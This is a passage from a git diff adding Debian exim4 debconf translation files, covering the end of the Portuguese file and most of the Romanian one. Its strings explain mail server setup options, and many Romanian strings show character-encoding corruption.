+"opção deverá ser desabilitada."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configuração do Servidor de Mensagens"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Dividir a configuração em pequenos arquivos?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Os pacotes Debian do exim4 podem usar uma \"configuração não dividida\", um "
+"único arquivo monolítico (/etc/exim4/exim4.conf.template) ou uma "
+"\"configuração dividida\", onde os arquivos de configuração do Exim são "
+"construídos a partir de cerca de 50 arquivos menores em /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Uma configuração não dividida é mais indicada para grandes modificações e é "
+"geralmente mais estável, e uma configuração dividida oferece uma maneira "
+"confortável de fazer modificações menores mas é mais frágil e pode quebrar "
+"se modificada sem cuidado."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Uma discussão mais detalhada sobre configuração dividida e não dividida pode "
+"ser encontrada nos arquivos README específicos do Debian em /usr/share/doc/"
+"exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Ocultar nome do domínio local nas mensagens enviadas?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Os cabeçalhos das mensagens enviadas podem ser reescritos para fazer com que "
+"elas pareçam ter sido geradas em um sistema diferente. Se esta opção for "
+"escolhida, '${mailname}', 'localhost' e '${dc_other_hostnames}' são "
+"reescritos nos campos From, Reply-To, Sender e Return-Path."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Formato \"mbox\" em /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Formato \"Maildir\" no diretório pessoal (\"home\")"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Método de entrega para mensagens locais:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"O Exim é capaz de armazenar mensagens entregues localmente em diferentes "
+"formatos. Os formatos mais comumente usados são mbox e Maildir. O formato "
+"mbox usa um único arquivo para toda a caixa-postal armazenada em /var/mail. "
+"No formato Maildir, cada mensagem é armazenada em um arquivo separado em ~/"
+"Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Por favor, note que a maioria das ferramentas de mensagens no Debian, em "
+"suas configurações padrão, esperam que o método de entrega local seja o mbox."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Mover mensagens ainda não entregues do spool do exim 3 para o spool do "
+#~ "exim4 ?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Existem algumas mensagens não entregues no diretório de spool do exim 3 "
+#~ "(ou do exim-tls 3) em /var/spool/exim/input/."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Escolher esta opção irá mover essas mensagens para o spool do exim4 (/var/"
+#~ "spool/exim4/input/) onde as mesmas serão gerenciadas pelo exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Isso funciona somente em um sentido único : o Exim4 pode gerenciar o "
+#~ "spool do exim 3 mas o contrário não é possível. Se você rejeitar essa "
+#~ "opção , você mesmo terá que mover as messagens ou elas não irão ser "
+#~ "entreges nunca."
diff --git a/debian/po/ro.po b/debian/po/ro.po
new file mode 100644
index 0000000..df55d3b
--- /dev/null
+++ b/debian/po/ro.po
@@ -0,0 +1,861 @@
+# translation of ro.po to Romanian
+# Romanian translation
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+#
+# Eddy Petrișor <eddy.petrisor@gmail.com>, 2004, 2005, 2006, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: ro\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-14 10:24+0300\n"
+"Last-Translator: Eddy Petrișor <eddy.petrisor@gmail.com>\n"
+"Language-Team: Romanian <debian-l10n-romanian@lists.debian.org>\n"
+"Language: ro\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"Plural-Forms: nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < "
+"20)) ? 1 : 2;\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "Se șterg mesajele nelivrate din directorul „spool�"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"În directorul „spool†al lui Exim, /var/spool/exim4/input, se află mesaje "
+"care nu au fost livrate încă. Dacă Exim este șters, acestea vor rămâne "
+"nelivrate până la reinstalarea lui Exim."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"Dacă nu se alege această opțiune, directorul „spool†este păstrat, permițând "
+"mesajelor din coada de așteptare să fie livrate la o dată ulterioară, după "
+"reinstalarea lui Exim."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr "Reconfigurați exim4-config în loc să-l configurați pe acesta."
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"Exim4 își crează configurația printr-un pachet dedicat, exim4-config. Pentru "
+"reconfigurarea lui Exim4, folosiÈ›i „dpkg-reconfigure exim4-configâ€."
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr ""
+"site internet; mesajele se trimit și se recepționează direct folosind SMTP"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr ""
+"mesaje trimise prin „smart hostâ€; recepÈ›ionate prin SMTP sau „fetchmailâ€"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "mesaje trimise prin „smart hostâ€; fără mesaje locale"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "doar mesaje locale; nu este în rețea"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "nu se configurează acum"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Tip general de configurare a poștei electronice:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr ""
+"Alegeți tipul de configurație care se potrivește cel mai bine nevoilor "
+"dumneavoastră."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"Sistemele cu adrese IP dinamice, inclusiv sistemele „dialupâ€, ar trebui, în "
+"general, să fie configurate să trimită mesajele destinate exteriorului către "
+"o altă maÈ™ină, numită „staÈ›ie inteligentă†(eng.: „smart hostâ€) spre a fi "
+"livrate deoarece, în Internet, multe sisteme care recepționează "
+"corespondență blochează mesajele recepționate de la adrese IP dinamice, ca o "
+"protecÈ›ie împotriva mesajelor nesolicitate (zise È™i „spamâ€)."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"Un sistem cu adresă IP dinamică își poate recepționa singur propria "
+"corespondență sau poate avea sistemul local de livrare dezactivat total "
+"(exceptând mesajele pentru root și postmaster)."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr ""
+"Sunteți sigur că doriți să lăsați sistemul de poștă electronică neconfigurat?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Până la configurarea sistemului de poștă electronică, acesta va fi "
+"nefuncțional și inutilizabil. Configurarea ulterioară este posibilă, fie "
+"manual, fie prin rularea comenzii „dpkg-reconfigure exim4-config†ca "
+"utilizatorul root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "Numele de poștă al sistemului:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"„Numele de poștă†este numele de domeniu folosit pentru a completa adresele "
+"fără nume de domeniu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Acest nume va fi folosit și de alte programe. Ar trebui să fie singurul nume "
+"de domeniu complet (FQDN - fully qualified domain name)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"De exemplu, dacă o adresă de poștă electronică este cineva@exemplu.org, "
+"atunci valoarea corectă a acestei opțiuni ar fi exemplu.org."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Dacă rescrierea este activată, acest nume nu va apărea pe liniile „From:†"
+"ale mesajelor expediate."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Alte destinații pentru care se acceptă poșta electronică:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Vă rugăm să introduceți o listă de domenii (separate prin simbolul „punct și "
+"virgulăâ€) pentru care această maÈ™ină ar trebui să se considere destinaÈ›ie "
+"finală. Numele complet de domeniu al sistemului (${fqdn}) și „localhost†vor "
+"fi adăugate mereu la această listă."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Implicit, toate domeniile locale vor fi tratate la fel. Dacă atât a.exemplu "
+"cât și b.exemplu sunt domenii locale, gigi@a.exemplu și gigi@b.exemplu vor "
+"fi livrate către o aceiași destinație finală. Dacă doriți ca diferitele nume "
+"de domeniu să fie tratate diferit, este necesară editarea ulterioară a "
+"fișierelor de configurare."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domeniile pentru care se intermediază poșta electronică:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Introduceți o listă de domenii-destinatar (separate prin simbolul „punct și "
+"virgulăâ€) pentru care acest sistem va intermedia transmiterea mesajelor, de "
+"exemplu, ca MX de siguranță sau „mail gatewayâ€. Acest lucru înseamnă că "
+"acest sistem va accepta corespondență pentru aceste domenii de oriunde din "
+"Internet și le va livra conform cu regulile locale de livrare."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Nu menționați aici domeniile locale. Se pot folosi caractere-joker."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Mașinile pentru care se intermediază:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Introduceți intervalele de adrese IP (separate prin simbolul „punct și "
+"virgulăâ€) pentru care este permis să își intermedieze poÈ™ta electronică prin "
+"acest sistem, folosindu-l ca „smart hostâ€."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Trebuie să folosiți formatul standard adresă/prefix (ex.: 194.222.242.0/24 "
+"sau 5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Dacă acest sistem nu ar trebui să fie un „smart host†pentru un oricare alt "
+"sistem, lăsați această listă goală."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Numele vizibil de domeniu pentru utilizatorii locali:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Opțiunea de ascundere a numelui local de poștă pentru mesajele expediate a "
+"fost activată. De aceea este necesar să precizați numele de domeniu pe care "
+"acest sistem ar trebui să-l folosească pentru partea de domeniu a adreselor "
+"expeditorilor locali."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+"Adresa IP sau numele mașinii care este „smart host†pentru mesajele "
+"expediate:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Introduceți adresa IP sau numele calculatorului pe care acest sistem o/îl va "
+"folosi ca „smart host†pentru mesajele expediate. Dacă „smart hostâ€-ul vă "
+"acceptă corespondența doar pe un port diferit de TCP/25, adăugați la sfârșit "
+"două caractere „două puncte†și numărul portului (de exemplu exemplu."
+"smarthost::587 sau 192.168.254.254::2525). Caracterele „două puncte†trebuie "
+"dublate în adresele IPv6."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Dacă „smart hostâ€-ul necesită autentificare, consultaÈ›i fiÈ™ierul README "
+"specific Debian din directorul /usr/share/doc/exim4-base pentru informații "
+"legate de felul în care se configurează autentificarea SMTP."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Adresa celui care primește mesajele pentru root și postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"PoÈ™ta electronică pentru „postmasterâ€, „root†și alte conturi de sistem "
+"trebuie să fie redirecționate către contul de utilizator al "
+"administratorului de sistem."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Dacă această valoare este lăsată vidă, asemenea corespondență este salvată "
+"în /var/mail/mail, lucru nerecomandat."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"A se observa că mesajele pentru „postmaster†ar trebui să fie citite pe "
+"sistemul către care sunt direcționate, în loc să fie trimise în altă parte, "
+"astfel încât (cel puțin unul dintre) utilizatorii pe care îi alegeți să nu "
+"își redirecteze mesajele în afara mașinii curente. Puteți folosi prefixul "
+"„real-†pentru a forța livrarea locală."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr ""
+"Dacă există mai multe nume de utilizatori, ele trebuie separate prin spații."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Adresele IP care așteaptă conexiuni SMTP:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"IntroduceÈ›i o listă de adrese IP, separate prin simbolul „punct È™i virgulăâ€. "
+"Demonul Exim SMTP care așteptă corespondență o va face la toate adresele IP "
+"enumerate aici."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Cu o valoare goală, Exim va aștepta conexiuni pe toate interfețele de rețea "
+"disponibile."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Dacă acest sistem recepționează poștă electronică doar de la servicii locale "
+"(și nu de la alte sisteme), este sugerat să interziceți conexiunile externe "
+"către serviciul Exim local. Asemenea servicii includ programele client de "
+"poÈ™tă electronică (abrev. eng. MUA) ce vorbesc strict cu „localhostâ€, cât È™i "
+"pe „fetchmailâ€. Conexiunile externe sunt imposibile atunci când aici se "
+"introduce 127.0.0.1, deoarece acest lucru va duce la dezactivarea așteptării "
+"de conexiuni pe interfețele de rețea publice."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr ""
+"Se pastrează numărul de interogări DNS la minim (doar la cerere - Dial-on-"
+"Demand)?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"În modul normal de operare, Exim face interogări DNS la pornire și la "
+"livrarea sau la primirea de mesaje. Acesta se face în scop de jurnalizare și "
+"permite să existe număr mic de valori păstrate ca atare în fișierele de "
+"configurare."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Dacă acest sistem nu are acces permanent la un server DNS (de exemplu, dacă "
+"este folosită o conexiune la Internet de tip „dial-up†cu conectare la "
+"cerere), folosirea acestei opțiuni poate avea consecințe nedorite. De "
+"exemplu, pornirea lui Exim sau rularea cozii de mesaje (chiar și fără mesaje "
+"în așteptare) ar putea declanșa un eveniment de tip conexiune-la-cerere "
+"costisitor."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Această opțiune ar trebui selectată dacă acest sistem folosește accese acces-"
+"la-cerere. Dacă are acces permanent la Internet, această opțiune ar trebui "
+"să fie dezactivată."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Configurare de server de poștă electronică"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Se împarte configurația în fișiere mici?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Pachetul Debian exim4 poate folosi fie „configuraÈ›ia unitarăâ€, un singur "
+"fișier monolitic (/etc/exim4/exim4.conf.template), fie „configurația "
+"despărÈ›ităâ€, în care fiÈ™ierele de configurare propriu-zise ale lui Exim sunt "
+"construite din aproximativ 50 de fișiere mici din /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Configurația unitară este mai potrivită pentru modificări masive și este, în "
+"general, mai stabilă, în timp ce configurația despărțită oferă un mod "
+"confortabil de a face mici modificări, însă este mai fragilă și chiar se "
+"poate corupe dacă este modificată fără atenție."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"O discuție mai detaliată despre configurațiile unitare și despărțite poate "
+"fi găsită în fișierul README specific Debian din directorul /usr/share/doc/"
+"exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "Se ascunde numele sistemului de poștă local în mesajele de livrat?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"Antetele mesajelor de livrat pot fi rescrise pentru a părea că sunt generate "
+"pe un alt sistem. Dacă este aleasă această opÈ›iune, „${mailname}â€, "
+"„localhost†și „${dc_other_hostnames}†din câmpurile From, Reply-To, Sender "
+"și Return-Path sunt rescrise."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "Format mbox în /var/mail/"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Format Maildir în directorul „acasăâ€"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Metoda de livrare pentru mesaje locale:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim este capabil să stocheze mesajele livrate local în diverse formate. "
+"Cele mai comun folosite sunt mbox și Maildir. mbox folosește un singur "
+"fișier pentru întreaga căsuță poștală, fișier stocat în /var/mail. La "
+"formatul Maildir fiecare mesaj este stocat într-un fișier separat în ~/"
+"Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"A se observa că cele mai multe unelete de mesagerie electronică din Debian "
+"se așteapta ca metoda de livrare locală să fie implicit mbox."
+
+#~ msgid "Overwrite existing /etc/aliases?"
+#~ msgstr "Se suprascrie fișierul /etc/aliases existent?"
+
+#~ msgid ""
+#~ "An /etc/aliases file was found on the system, but it does not redirect "
+#~ "mail for root to a user account, which is strongly recommended."
+#~ msgstr ""
+#~ "Un fișier /etc/aliases a fost găsit în sistem, dar acesta nu "
+#~ "redirecționează mesajele pentru „root†către un cont de utilizator, lucru "
+#~ "recomandat cu tărie."
+
+#~ msgid ""
+#~ "Accepting this option will cause /etc/aliases to be overwritten, and the "
+#~ "old file will be renamed to aliases.O."
+#~ msgstr ""
+#~ "Dacă acceptați această opțiune, /etc/aliases va fi suprascris, iar "
+#~ "fișierul vechi va fi păstrat și redenumit în aliases.0."
+
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr ""
+#~ "Se mută mesajele nelivrate din exim 3 în directorul „spool†al exim4?"
+
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Există câteva mesaje nelivrate în directorul „spoolâ€, /var/spool/exim/"
+#~ "input/, al lui exim 3 (sau al lui exim-tls 3)."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Alegerea acestei opțiuni va duce la mutarea mesajelor în directorul "
+#~ "„spool†al lui exim4 (/var/spool/exim4/input) unde vor fi gestionate de "
+#~ "către exim4."
+
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
